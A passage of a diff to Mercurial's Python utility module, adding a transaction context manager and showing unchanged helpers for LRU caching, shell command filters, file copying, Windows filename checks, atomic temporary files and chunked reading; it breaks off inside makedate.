+        If the transaction has not been closed, it will be aborted.
+        """
+
+    def __enter__(self):
+        return self
+
+    def __exit__(self, exc_type, exc_val, exc_tb):
+        try:
+            if exc_type is None:
+                self.close()
+        finally:
+            self.release()
+
 @contextlib.contextmanager
 def acceptintervention(tr=None):
     """A context manager that closes the transaction on InterventionRequired
 
     If no transaction was provided, this simply runs the body and returns
     """
     if not tr:
         yield
         return
     try:
         yield
         tr.close()
     except error.InterventionRequired:
         tr.close()
         raise
     finally:
         tr.release()
 
 @contextlib.contextmanager
 def nullcontextmanager():
     yield
 
 class _lrucachenode(object):
     """A node in a doubly linked list.
 
     Holds a reference to nodes on either side as well as a key-value
     pair for the dictionary entry.
     """
     __slots__ = (u'next', u'prev', u'key', u'value')
 
     def __init__(self):
         self.next = None
         self.prev = None
 
         self.key = _notset
         self.value = None
 
     def markempty(self):
         """Mark the node as emptied."""
         self.key = _notset
 
 class lrucachedict(object):
     """Dict that caches most recent accesses and sets.
 
     The dict consists of an actual backing dict - indexed by original
     key - and a doubly linked circular list defining the order of entries in
     the cache.
 
     The head node is the newest entry in the cache. If the cache is full,
     we recycle head.prev and make it the new head. Cache accesses result in
     the node being moved to before the existing head and being marked as the
     new head node.
     """
     def __init__(self, max):
         self._cache = {}
 
         self._head = head = _lrucachenode()
         head.prev = head
         head.next = head
         self._size = 1
         self._capacity = max
 
     def __len__(self):
         return len(self._cache)
 
     def __contains__(self, k):
         return k in self._cache
 
     def __iter__(self):
         # We don't have to iterate in cache order, but why not.
         n = self._head
         for i in range(len(self._cache)):
             yield n.key
             n = n.next
 
     def __getitem__(self, k):
         node = self._cache[k]
         self._movetohead(node)
         return node.value
 
     def __setitem__(self, k, v):
         node = self._cache.get(k)
         # Replace existing value and mark as newest.
         if node is not None:
             node.value = v
             self._movetohead(node)
             return
 
         if self._size < self._capacity:
             node = self._addcapacity()
         else:
             # Grab the last/oldest item.
             node = self._head.prev
 
         # At capacity. Kill the old entry.
         if node.key is not _notset:
             del self._cache[node.key]
 
         node.key = k
         node.value = v
         self._cache[k] = node
         # And mark it as newest entry. No need to adjust order since it
         # is already self._head.prev.
         self._head = node
 
     def __delitem__(self, k):
         node = self._cache.pop(k)
         node.markempty()
 
         # Temporarily mark as newest item before re-adjusting head to make
         # this node the oldest item.
         self._movetohead(node)
         self._head = node.next
 
     # Additional dict methods.
 
     def get(self, k, default=None):
         try:
             return self._cache[k].value
         except KeyError:
             return default
 
     def clear(self):
         n = self._head
         while n.key is not _notset:
             n.markempty()
             n = n.next
 
         self._cache.clear()
 
     def copy(self):
         result = lrucachedict(self._capacity)
         n = self._head.prev
         # Iterate in oldest-to-newest order, so the copy has the right ordering
         for i in range(len(self._cache)):
             result[n.key] = n.value
             n = n.prev
         return result
 
     def _movetohead(self, node):
         """Mark a node as the newest, making it the new head.
 
         When a node is accessed, it becomes the freshest entry in the LRU
         list, which is denoted by self._head.
 
         Visually, let's make ``N`` the new head node (* denotes head):
 
             previous/oldest <-> head <-> next/next newest
 
             ----<->--- A* ---<->-----
             |                       |
             E <-> D <-> N <-> C <-> B
 
         To:
 
             ----<->--- N* ---<->-----
             |                       |
             E <-> D <-> C <-> B <-> A
 
         This requires the following moves:
 
            C.next = D  (node.prev.next = node.next)
            D.prev = C  (node.next.prev = node.prev)
            E.next = N  (head.prev.next = node)
            N.prev = E  (node.prev = head.prev)
            N.next = A  (node.next = head)
            A.prev = N  (head.prev = node)
         """
         head = self._head
         # C.next = D
         node.prev.next = node.next
         # D.prev = C
         node.next.prev = node.prev
         # N.prev = E
         node.prev = head.prev
         # N.next = A
         # It is tempting to do just "head" here, however if node is
         # adjacent to head, this will do bad things.
         node.next = head.prev.next
         # E.next = N
         node.next.prev = node
         # A.prev = N
         node.prev.next = node
 
         self._head = node
 
     def _addcapacity(self):
         """Add a node to the circular linked list.
 
         The new node is inserted before the head node.
         """
         head = self._head
         node = _lrucachenode()
         head.prev.next = node
         node.prev = head.prev
         node.next = head
         head.prev = node
         self._size += 1
         return node
 
 def lrucachefunc(func):
     '''cache most recent results of function calls'''
     cache = {}
     order = collections.deque()
     if func.__code__.co_argcount == 1:
         def f(arg):
             if arg not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[arg] = func(arg)
             else:
                 order.remove(arg)
             order.append(arg)
             return cache[arg]
     else:
         def f(*args):
             if args not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[args] = func(*args)
             else:
                 order.remove(args)
             order.append(args)
             return cache[args]
 
     return f
 
 class propertycache(object):
     def __init__(self, func):
         self.func = func
         self.name = func.__name__
     def __get__(self, obj, type=None):
         result = self.func(obj)
         self.cachevalue(obj, result)
         return result
 
     def cachevalue(self, obj, value):
         # __dict__ assignment required to bypass __setattr__ (eg: repoview)
         obj.__dict__[self.name] = value
 
 def pipefilter(s, cmd):
     '''filter string S through command CMD, returning its output'''
     p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
                          stdin=subprocess.PIPE, stdout=subprocess.PIPE)
     pout, perr = p.communicate(s)
     return pout
 
 def tempfilter(s, cmd):
     '''filter string S through a pair of temporary files with CMD.
     CMD is used as a template to create the real command to be run,
     with the strings INFILE and OUTFILE replaced by the real names of
     the temporary files generated.'''
     inname, outname = None, None
     try:
         infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
         fp = os.fdopen(infd, pycompat.sysstr('wb'))
         fp.write(s)
         fp.close()
         outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
         os.close(outfd)
         cmd = cmd.replace('INFILE', inname)
         cmd = cmd.replace('OUTFILE', outname)
         code = os.system(cmd)
         if pycompat.sysplatform == 'OpenVMS' and code & 1:
             code = 0
         if code:
             raise Abort(_("command '%s' failed: %s") %
                         (cmd, explainexit(code)))
         return readfile(outname)
     finally:
         try:
             if inname:
                 os.unlink(inname)
         except OSError:
             pass
         try:
             if outname:
                 os.unlink(outname)
         except OSError:
             pass
 
 filtertable = {
     'tempfile:': tempfilter,
     'pipe:': pipefilter,
     }
 
 def filter(s, cmd):
     "filter a string through a command that transforms its input to its output"
     for name, fn in filtertable.iteritems():
         if cmd.startswith(name):
             return fn(s, cmd[len(name):].lstrip())
     return pipefilter(s, cmd)
 
 def binary(s):
     """return true if a string is binary data"""
     return bool(s and '\0' in s)
 
 def increasingchunks(source, min=1024, max=65536):
     '''return no less than min bytes per chunk while data remains,
     doubling min after each chunk until it reaches max'''
     def log2(x):
         if not x:
             return 0
         i = 0
         while x:
             x >>= 1
             i += 1
         return i - 1
 
     buf = []
     blen = 0
     for chunk in source:
         buf.append(chunk)
         blen += len(chunk)
         if blen >= min:
             if min < max:
                 min = min << 1
                 nmin = 1 << log2(blen)
                 if nmin > min:
                     min = nmin
                 if min > max:
                     min = max
             yield ''.join(buf)
             blen = 0
             buf = []
     if buf:
         yield ''.join(buf)
 
 Abort = error.Abort
 
 def always(fn):
     return True
 
 def never(fn):
     return False
 
 def nogc(func):
     """disable garbage collector
 
     Python's garbage collector triggers a GC each time a certain number of
     container objects (the number being defined by gc.get_threshold()) are
     allocated even when marked not to be tracked by the collector. Tracking has
     no effect on when GCs are triggered, only on what objects the GC looks
     into. As a workaround, disable GC while building complex (huge)
     containers.
 
     This garbage collector issue have been fixed in 2.7.
     """
     if sys.version_info >= (2, 7):
         return func
     def wrapper(*args, **kwargs):
         gcenabled = gc.isenabled()
         gc.disable()
         try:
             return func(*args, **kwargs)
         finally:
             if gcenabled:
                 gc.enable()
     return wrapper
 
 def pathto(root, n1, n2):
     '''return the relative path from one place to another.
     root should use os.sep to separate directories
     n1 should use os.sep to separate directories
     n2 should use "/" to separate directories
     returns an os.sep-separated path.
 
     If n1 is a relative path, it's assumed it's
     relative to root.
     n2 should always be relative to root.
     '''
     if not n1:
         return localpath(n2)
     if os.path.isabs(n1):
         if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
             return os.path.join(root, localpath(n2))
         n2 = '/'.join((pconvert(root), n2))
     a, b = splitpath(n1), n2.split('/')
     a.reverse()
     b.reverse()
     while a and b and a[-1] == b[-1]:
         a.pop()
         b.pop()
     b.reverse()
     return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
 
 def mainfrozen():
     """return True if we are a frozen executable.
 
     The code supports py2exe (most common, Windows only) and tools/freeze
     (portable, not much used).
     """
     return (safehasattr(sys, "frozen") or # new py2exe
             safehasattr(sys, "importers") or # old py2exe
             imp.is_frozen(u"__main__")) # tools/freeze
 
 # the location of data files matching the source code
 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
     # executable version (py2exe) doesn't support __file__
     datapath = os.path.dirname(pycompat.sysexecutable)
 else:
     datapath = os.path.dirname(pycompat.fsencode(__file__))
 
 i18n.setdatapath(datapath)
 
 _hgexecutable = None
 
 def hgexecutable():
     """return location of the 'hg' executable.
 
     Defaults to $HG or 'hg' in the search path.
     """
     if _hgexecutable is None:
         hg = encoding.environ.get('HG')
         mainmod = sys.modules[pycompat.sysstr('__main__')]
         if hg:
             _sethgexecutable(hg)
         elif mainfrozen():
             if getattr(sys, 'frozen', None) == 'macosx_app':
                 # Env variable set by py2app
                 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
             else:
                 _sethgexecutable(pycompat.sysexecutable)
         elif (os.path.basename(
             pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
             _sethgexecutable(pycompat.fsencode(mainmod.__file__))
         else:
             exe = findexe('hg') or os.path.basename(sys.argv[0])
             _sethgexecutable(exe)
     return _hgexecutable
 
 def _sethgexecutable(path):
     """set location of the 'hg' executable"""
     global _hgexecutable
     _hgexecutable = path
 
 def _isstdout(f):
     fileno = getattr(f, 'fileno', None)
     return fileno and fileno() == sys.__stdout__.fileno()
 
 def shellenviron(environ=None):
     """return environ with optional override, useful for shelling out"""
     def py2shell(val):
         'convert python object into string that is useful to shell'
         if val is None or val is False:
             return '0'
         if val is True:
             return '1'
         return str(val)
     env = dict(encoding.environ)
     if environ:
         env.update((k, py2shell(v)) for k, v in environ.iteritems())
     env['HG'] = hgexecutable()
     return env
 
 def system(cmd, environ=None, cwd=None, out=None):
     '''enhanced shell command execution.
     run with environment maybe modified, maybe in different dir.
 
     if out is specified, it is assumed to be a file-like object that has a
     write() method. stdout and stderr will be redirected to out.'''
     try:
         stdout.flush()
     except Exception:
         pass
     cmd = quotecommand(cmd)
     env = shellenviron(environ)
     if out is None or _isstdout(out):
         rc = subprocess.call(cmd, shell=True, close_fds=closefds,
                              env=env, cwd=cwd)
     else:
         proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
                                 env=env, cwd=cwd, stdout=subprocess.PIPE,
                                 stderr=subprocess.STDOUT)
         for line in iter(proc.stdout.readline, ''):
             out.write(line)
         proc.wait()
         rc = proc.returncode
     if pycompat.sysplatform == 'OpenVMS' and rc & 1:
         rc = 0
     return rc
 
 def checksignature(func):
     '''wrap a function with code to check for calling errors'''
     def check(*args, **kwargs):
         try:
             return func(*args, **kwargs)
         except TypeError:
             if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
                 raise error.SignatureError
             raise
 
     return check
 
 # a whilelist of known filesystems where hardlink works reliably
 _hardlinkfswhitelist = {
     'btrfs',
     'ext2',
     'ext3',
     'ext4',
     'hfs',
     'jfs',
     'reiserfs',
     'tmpfs',
     'ufs',
     'xfs',
     'zfs',
 }
 
 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
     '''copy a file, preserving mode and optionally other stat info like
     atime/mtime
 
     checkambig argument is used with filestat, and is useful only if
     destination file is guarded by any lock (e.g. repo.lock or
     repo.wlock).
 
     copystat and checkambig should be exclusive.
     '''
     assert not (copystat and checkambig)
     oldstat = None
     if os.path.lexists(dest):
         if checkambig:
             oldstat = checkambig and filestat.frompath(dest)
         unlink(dest)
     if hardlink:
         # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
         # unless we are confident that dest is on a whitelisted filesystem.
         try:
             fstype = getfstype(os.path.dirname(dest))
         except OSError:
             fstype = None
         if fstype not in _hardlinkfswhitelist:
             hardlink = False
     if hardlink:
         try:
             oslink(src, dest)
             return
         except (IOError, OSError):
             pass # fall back to normal copy
     if os.path.islink(src):
         os.symlink(os.readlink(src), dest)
         # copytime is ignored for symlinks, but in general copytime isn't needed
         # for them anyway
     else:
         try:
             shutil.copyfile(src, dest)
             if copystat:
                 # copystat also copies mode
                 shutil.copystat(src, dest)
             else:
                 shutil.copymode(src, dest)
                 if oldstat and oldstat.stat:
                     newstat = filestat.frompath(dest)
                     if newstat.isambig(oldstat):
                         # stat of copied file is ambiguous to original one
                         advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
                         os.utime(dest, (advanced, advanced))
         except shutil.Error as inst:
             raise Abort(str(inst))
 
 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
     """Copy a directory tree using hardlinks if possible."""
     num = 0
 
     gettopic = lambda: hardlink and _('linking') or _('copying')
 
     if os.path.isdir(src):
         if hardlink is None:
             hardlink = (os.stat(src).st_dev ==
                         os.stat(os.path.dirname(dst)).st_dev)
         topic = gettopic()
         os.mkdir(dst)
         for name, kind in listdir(src):
             srcname = os.path.join(src, name)
             dstname = os.path.join(dst, name)
             def nprog(t, pos):
                 if pos is not None:
                     return progress(t, pos + num)
             hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
             num += n
     else:
         if hardlink is None:
             hardlink = (os.stat(os.path.dirname(src)).st_dev ==
                         os.stat(os.path.dirname(dst)).st_dev)
         topic = gettopic()
 
         if hardlink:
             try:
                 oslink(src, dst)
             except (IOError, OSError):
                 hardlink = False
                 shutil.copy(src, dst)
         else:
             shutil.copy(src, dst)
         num += 1
         progress(topic, num)
     progress(topic, None)
 
     return hardlink, num
 
 _winreservednames = b'''con prn aux nul
     com1 com2 com3 com4 com5 com6 com7 com8 com9
     lpt1 lpt2 lpt3 lpt4 lpt5 lpt6 lpt7 lpt8 lpt9'''.split()
 _winreservedchars = ':*?"<>|'
 def checkwinfilename(path):
     r'''Check that the base-relative path is a valid filename on Windows.
     Returns None if the path is ok, or a UI string describing the problem.
 
     >>> checkwinfilename("just/a/normal/path")
     >>> checkwinfilename("foo/bar/con.xml")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename("foo/con.xml/bar")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename("foo/bar/xml.con")
     >>> checkwinfilename("foo/bar/AUX/bla.txt")
     "filename contains 'AUX', which is reserved on Windows"
     >>> checkwinfilename("foo/bar/bla:.txt")
     "filename contains ':', which is reserved on Windows"
     >>> checkwinfilename("foo/bar/b\07la.txt")
     "filename contains '\\x07', which is invalid on Windows"
     >>> checkwinfilename("foo/bar/bla ")
     "filename ends with ' ', which is not allowed on Windows"
     >>> checkwinfilename("../bar")
     >>> checkwinfilename("foo\\")
     "filename ends with '\\', which is invalid on Windows"
     >>> checkwinfilename("foo\\/bar")
     "directory name ends with '\\', which is invalid on Windows"
     '''
     if path.endswith('\\'):
         return _("filename ends with '\\', which is invalid on Windows")
     if '\\/' in path:
         return _("directory name ends with '\\', which is invalid on Windows")
     for n in path.replace('\\', '/').split('/'):
         if not n:
             continue
         for c in _filenamebytestr(n):
             if c in _winreservedchars:
                 return _("filename contains '%s', which is reserved "
                          "on Windows") % c
             if ord(c) <= 31:
                 return _("filename contains %r, which is invalid "
                          "on Windows") % c
         base = n.split('.')[0]
         if base and base.lower() in _winreservednames:
             return _("filename contains '%s', which is reserved "
                      "on Windows") % base
         t = n[-1]
         if t in '. ' and n not in '..':
             return _("filename ends with '%s', which is not allowed "
                      "on Windows") % t
 
 if pycompat.osname == 'nt':
     checkosfilename = checkwinfilename
     timer = time.clock
 else:
     checkosfilename = platform.checkosfilename
     timer = time.time
 
 if safehasattr(time, "perf_counter"):
     timer = time.perf_counter
 
 def makelock(info, pathname):
     try:
         return os.symlink(info, pathname)
     except OSError as why:
         if why.errno == errno.EEXIST:
             raise
     except AttributeError: # no symlink in os
         pass
 
     ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
     os.write(ld, info)
     os.close(ld)
 
 def readlock(pathname):
     try:
         return os.readlink(pathname)
     except OSError as why:
         if why.errno not in (errno.EINVAL, errno.ENOSYS):
             raise
     except AttributeError: # no symlink in os
         pass
     fp = posixfile(pathname)
     r = fp.read()
     fp.close()
     return r
 
 def fstat(fp):
     '''stat file object that may not have fileno method.'''
     try:
         return os.fstat(fp.fileno())
     except AttributeError:
         return os.stat(fp.name)
 
 # File system features
 
 def fscasesensitive(path):
     """
     Return true if the given path is on a case-sensitive filesystem
 
     Requires a path (like /foo/.hg) ending with a foldable final
     directory component.
     """
     s1 = os.lstat(path)
     d, b = os.path.split(path)
     b2 = b.upper()
     if b == b2:
         b2 = b.lower()
         if b == b2:
             return True # no evidence against case sensitivity
     p2 = os.path.join(d, b2)
     try:
         s2 = os.lstat(p2)
         if s2 == s1:
             return False
         return True
     except OSError:
         return True
 
 try:
     import re2
     _re2 = None
 except ImportError:
     _re2 = False
 
 class _re(object):
     def _checkre2(self):
         global _re2
         try:
             # check if match works, see issue3964
             _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
         except ImportError:
             _re2 = False
 
     def compile(self, pat, flags=0):
         '''Compile a regular expression, using re2 if possible
 
         For best performance, use only re2-compatible regexp features. The
         only flags from the re module that are re2-compatible are
         IGNORECASE and MULTILINE.'''
         if _re2 is None:
             self._checkre2()
         if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
             if flags & remod.IGNORECASE:
                 pat = '(?i)' + pat
             if flags & remod.MULTILINE:
                 pat = '(?m)' + pat
             try:
                 return re2.compile(pat)
             except re2.error:
                 pass
         return remod.compile(pat, flags)
 
     @propertycache
     def escape(self):
         '''Return the version of escape corresponding to self.compile.
 
         This is imperfect because whether re2 or re is used for a particular
         function depends on the flags, etc, but it's the best we can do.
         '''
         global _re2
         if _re2 is None:
             self._checkre2()
         if _re2:
             return re2.escape
         else:
             return remod.escape
 
 re = _re()
 
 _fspathcache = {}
 def fspath(name, root):
     '''Get name in the case stored in the filesystem
 
     The name should be relative to root, and be normcase-ed for efficiency.
 
     Note that this function is unnecessary, and should not be
     called, for case-sensitive filesystems (simply because it's expensive).
 
     The root should be normcase-ed, too.
     '''
     def _makefspathcacheentry(dir):
         return dict((normcase(n), n) for n in os.listdir(dir))
 
     seps = pycompat.ossep
     if pycompat.osaltsep:
         seps = seps + pycompat.osaltsep
     # Protect backslashes. This gets silly very quickly.
     seps.replace('\\','\\\\')
     pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
     dir = os.path.normpath(root)
     result = []
     for part, sep in pattern.findall(name):
         if sep:
             result.append(sep)
             continue
 
         if dir not in _fspathcache:
             _fspathcache[dir] = _makefspathcacheentry(dir)
         contents = _fspathcache[dir]
 
         found = contents.get(part)
         if not found:
             # retry "once per directory" per "dirstate.walk" which
             # may take place for each patches of "hg qpush", for example
             _fspathcache[dir] = contents = _makefspathcacheentry(dir)
             found = contents.get(part)
 
         result.append(found or part)
         dir = os.path.join(dir, part)
 
     return ''.join(result)
 
 def getfstype(dirpath):
     '''Get the filesystem type name from a directory (best-effort)
 
     Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
     '''
     return getattr(osutil, 'getfstype', lambda x: None)(dirpath)
 
 def checknlink(testfile):
     '''check whether hardlink count reporting works properly'''
 
     # testfile may be open, so we need a separate file for checking to
     # work around issue2543 (or testfile may get lost on Samba shares)
     f1 = testfile + ".hgtmp1"
     if os.path.lexists(f1):
         return False
     try:
         posixfile(f1, 'w').close()
     except IOError:
         try:
             os.unlink(f1)
         except OSError:
             pass
         return False
 
     f2 = testfile + ".hgtmp2"
     fd = None
     try:
         oslink(f1, f2)
         # nlinks() may behave differently for files on Windows shares if
         # the file is open.
         fd = posixfile(f2)
         return nlinks(f2) > 1
     except OSError:
         return False
     finally:
         if fd is not None:
             fd.close()
         for f in (f1, f2):
             try:
                 os.unlink(f)
             except OSError:
                 pass
 
 def endswithsep(path):
     '''Check path ends with os.sep or os.altsep.'''
     return (path.endswith(pycompat.ossep)
             or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
 
 def splitpath(path):
     '''Split path by os.sep.
     Note that this function does not use os.altsep because this is
     an alternative of simple "xxx.split(os.sep)".
     It is recommended to use os.path.normpath() before using this
     function if need.'''
     return path.split(pycompat.ossep)
 
 def gui():
     '''Are we running in a GUI?'''
     if pycompat.sysplatform == 'darwin':
         if 'SSH_CONNECTION' in encoding.environ:
             # handle SSH access to a box where the user is logged in
             return False
         elif getattr(osutil, 'isgui', None):
             # check if a CoreGraphics session is available
             return osutil.isgui()
         else:
             # pure build; use a safe default
             return True
     else:
         return pycompat.osname == "nt" or encoding.environ.get("DISPLAY")
 
 def mktempcopy(name, emptyok=False, createmode=None):
     """Create a temporary file with the same contents from name
 
     The permission bits are copied from the original file.
 
     If the temporary file is going to be truncated immediately, you
     can use emptyok=True as an optimization.
 
     Returns the name of the temporary file.
     """
     d, fn = os.path.split(name)
     fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, dir=d)
     os.close(fd)
     # Temporary files are created with mode 0600, which is usually not
     # what we want.  If the original file already exists, just copy
     # its mode.  Otherwise, manually obey umask.
     copymode(name, temp, createmode)
     if emptyok:
         return temp
     try:
         try:
             ifp = posixfile(name, "rb")
         except IOError as inst:
             if inst.errno == errno.ENOENT:
                 return temp
             if not getattr(inst, 'filename', None):
                 inst.filename = name
             raise
         ofp = posixfile(temp, "wb")
         for chunk in filechunkiter(ifp):
             ofp.write(chunk)
         ifp.close()
         ofp.close()
     except: # re-raises
         try: os.unlink(temp)
         except OSError: pass
         raise
     return temp
 
 class filestat(object):
     """help to exactly detect change of a file
 
     'stat' attribute is result of 'os.stat()' if specified 'path'
     exists. Otherwise, it is None. This can avoid preparative
     'exists()' examination on client side of this class.
     """
     def __init__(self, stat):
         self.stat = stat
 
     @classmethod
     def frompath(cls, path):
         try:
             stat = os.stat(path)
         except OSError as err:
             if err.errno != errno.ENOENT:
                 raise
             stat = None
         return cls(stat)
 
     @classmethod
     def fromfp(cls, fp):
         stat = os.fstat(fp.fileno())
         return cls(stat)
 
     __hash__ = object.__hash__
 
     def __eq__(self, old):
         try:
             # if ambiguity between stat of new and old file is
             # avoided, comparison of size, ctime and mtime is enough
             # to exactly detect change of a file regardless of platform
             return (self.stat.st_size == old.stat.st_size and
                     self.stat.st_ctime == old.stat.st_ctime and
                     self.stat.st_mtime == old.stat.st_mtime)
         except AttributeError:
             pass
         try:
             return self.stat is None and old.stat is None
         except AttributeError:
             return False
 
     def isambig(self, old):
         """Examine whether new (= self) stat is ambiguous against old one
 
         "S[N]" below means stat of a file at N-th change:
 
         - S[n-1].ctime  < S[n].ctime: can detect change of a file
         - S[n-1].ctime == S[n].ctime
           - S[n-1].ctime  < S[n].mtime: means natural advancing (*1)
           - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
           - S[n-1].ctime  > S[n].mtime: never occurs naturally (don't care)
         - S[n-1].ctime  > S[n].ctime: never occurs naturally (don't care)
 
         Case (*2) above means that a file was changed twice or more at
         same time in sec (= S[n-1].ctime), and comparison of timestamp
         is ambiguous.
 
         Base idea to avoid such ambiguity is "advance mtime 1 sec, if
         timestamp is ambiguous".
 
         But advancing mtime only in case (*2) doesn't work as
         expected, because naturally advanced S[n].mtime in case (*1)
         might be equal to manually advanced S[n-1 or earlier].mtime.
 
         Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
         treated as ambiguous regardless of mtime, to avoid overlooking
         by confliction between such mtime.
 
         Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
         S[n].mtime", even if size of a file isn't changed.
         """
         try:
             return (self.stat.st_ctime == old.stat.st_ctime)
         except AttributeError:
             return False
 
     def avoidambig(self, path, old):
         """Change file stat of specified path to avoid ambiguity
 
         'old' should be previous filestat of 'path'.
 
         This skips avoiding ambiguity, if a process doesn't have
         appropriate privileges for 'path'. This returns False in this
         case.
 
         Otherwise, this returns True, as "ambiguity is avoided".
         """
         advanced = (old.stat.st_mtime + 1) & 0x7fffffff
         try:
             os.utime(path, (advanced, advanced))
         except OSError as inst:
             if inst.errno == errno.EPERM:
                 # utime() on the file created by another user causes EPERM,
                 # if a process doesn't have appropriate privileges
                 return False
             raise
         return True
 
     def __ne__(self, other):
         return not self == other
 
 class atomictempfile(object):
     '''writable file object that atomically updates a file
 
     All writes will go to a temporary copy of the original file. Call
     close() when you are done writing, and atomictempfile will rename
     the temporary copy to the original name, making the changes
     visible. If the object is destroyed without being closed, all your
     writes are discarded.
 
     checkambig argument of constructor is used with filestat, and is
     useful only if target file is guarded by any lock (e.g. repo.lock
     or repo.wlock).
     '''
     def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
         self.__name = name      # permanent name
         self._tempname = mktempcopy(name, emptyok=('w' in mode),
                                     createmode=createmode)
         self._fp = posixfile(self._tempname, mode)
         self._checkambig = checkambig
 
         # delegated methods
         self.read = self._fp.read
         self.write = self._fp.write
         self.seek = self._fp.seek
         self.tell = self._fp.tell
         self.fileno = self._fp.fileno
 
     def close(self):
         if not self._fp.closed:
             self._fp.close()
             filename = localpath(self.__name)
             oldstat = self._checkambig and filestat.frompath(filename)
             if oldstat and oldstat.stat:
                 rename(self._tempname, filename)
                 newstat = filestat.frompath(filename)
                 if newstat.isambig(oldstat):
                     # stat of changed file is ambiguous to original one
                     advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
                     os.utime(filename, (advanced, advanced))
             else:
                 rename(self._tempname, filename)
 
     def discard(self):
         if not self._fp.closed:
             try:
                 os.unlink(self._tempname)
             except OSError:
                 pass
             self._fp.close()
 
     def __del__(self):
         if safehasattr(self, '_fp'): # constructor actually did something
             self.discard()
 
     def __enter__(self):
         return self
 
     def __exit__(self, exctype, excvalue, traceback):
         if exctype is not None:
             self.discard()
         else:
             self.close()
 
 def unlinkpath(f, ignoremissing=False):
     """unlink and remove the directory if it is empty"""
     if ignoremissing:
         tryunlink(f)
     else:
         unlink(f)
     # try removing directories that might now be empty
     try:
         removedirs(os.path.dirname(f))
     except OSError:
         pass
 
 def tryunlink(f):
     """Attempt to remove a file, ignoring ENOENT errors."""
     try:
         unlink(f)
     except OSError as e:
         if e.errno != errno.ENOENT:
             raise
 
 def makedirs(name, mode=None, notindexed=False):
     """recursive directory creation with parent mode inheritance
 
     Newly created directories are marked as "not to be indexed by
     the content indexing service", if ``notindexed`` is specified
     for "write" mode access.
     """
     try:
         makedir(name, notindexed)
     except OSError as err:
         if err.errno == errno.EEXIST:
             return
         if err.errno != errno.ENOENT or not name:
             raise
         parent = os.path.dirname(os.path.abspath(name))
         if parent == name:
             raise
         makedirs(parent, mode, notindexed)
         try:
             makedir(name, notindexed)
         except OSError as err:
             # Catch EEXIST to handle races
             if err.errno == errno.EEXIST:
                 return
             raise
     if mode is not None:
         os.chmod(name, mode)
 
 def readfile(path):
     with open(path, 'rb') as fp:
         return fp.read()
 
 def writefile(path, text):
     with open(path, 'wb') as fp:
         fp.write(text)
 
 def appendfile(path, text):
     with open(path, 'ab') as fp:
         fp.write(text)
 
 class chunkbuffer(object):
     """Allow arbitrary sized chunks of data to be efficiently read from an
     iterator over chunks of arbitrary size."""
 
     def __init__(self, in_iter):
         """in_iter is the iterator that's iterating over the input chunks."""
         def splitbig(chunks):
             for chunk in chunks:
                 if len(chunk) > 2**20:
                     pos = 0
                     while pos < len(chunk):
                         end = pos + 2 ** 18
                         yield chunk[pos:end]
                         pos = end
                 else:
                     yield chunk
         self.iter = splitbig(in_iter)
         self._queue = collections.deque()
         self._chunkoffset = 0
 
     def read(self, l=None):
         """Read L bytes of data from the iterator of chunks of data.
         Returns less than L bytes if the iterator runs dry.
 
         If size parameter is omitted, read everything"""
         if l is None:
             return ''.join(self.iter)
 
         left = l
         buf = []
         queue = self._queue
         while left > 0:
             # refill the queue
             if not queue:
                 target = 2**18
                 for chunk in self.iter:
                     queue.append(chunk)
                     target -= len(chunk)
                     if target <= 0:
                         break
                 if not queue:
                     break
 
             # The easy way to do this would be to queue.popleft(), modify the
             # chunk (if necessary), then queue.appendleft(). However, for cases
             # where we read partial chunk content, this incurs 2 dequeue
             # mutations and creates a new str for the remaining chunk in the
             # queue. Our code below avoids this overhead.
 
             chunk = queue[0]
             chunkl = len(chunk)
             offset = self._chunkoffset
 
             # Use full chunk.
             if offset == 0 and left >= chunkl:
                 left -= chunkl
                 queue.popleft()
                 buf.append(chunk)
                 # self._chunkoffset remains at 0.
                 continue
 
             chunkremaining = chunkl - offset
 
             # Use all of unconsumed part of chunk.
             if left >= chunkremaining:
                 left -= chunkremaining
                 queue.popleft()
                 # offset == 0 is enabled by block above, so this won't merely
                 # copy via ``chunk[0:]``.
                 buf.append(chunk[offset:])
                 self._chunkoffset = 0
 
             # Partial chunk needed.
             else:
                 buf.append(chunk[offset:offset + left])
                 self._chunkoffset += left
                 left -= chunkremaining
 
         return ''.join(buf)
 
 def filechunkiter(f, size=131072, limit=None):
     """Create a generator that produces the data in the file size
     (default 131072) bytes at a time, up to optional limit (default is
     to read all data).  Chunks may be less than size bytes if the
     chunk is the last chunk in the file, or the file is a socket or
     some other type of file that sometimes reads less data than is
     requested."""
     assert size >= 0
     assert limit is None or limit >= 0
     while True:
         if limit is None:
             nbytes = size
         else:
             nbytes = min(limit, size)
         s = nbytes and f.read(nbytes)
         if not s:
             break
         if limit:
             limit -= len(s)
         yield s
 
 def makedate(timestamp=None):
     '''Return a unix timestamp (or the current time) as a (unixtime,
     offset) tuple based off the local timezone.'''
     if timestamp is None:
         timestamp = time.time()
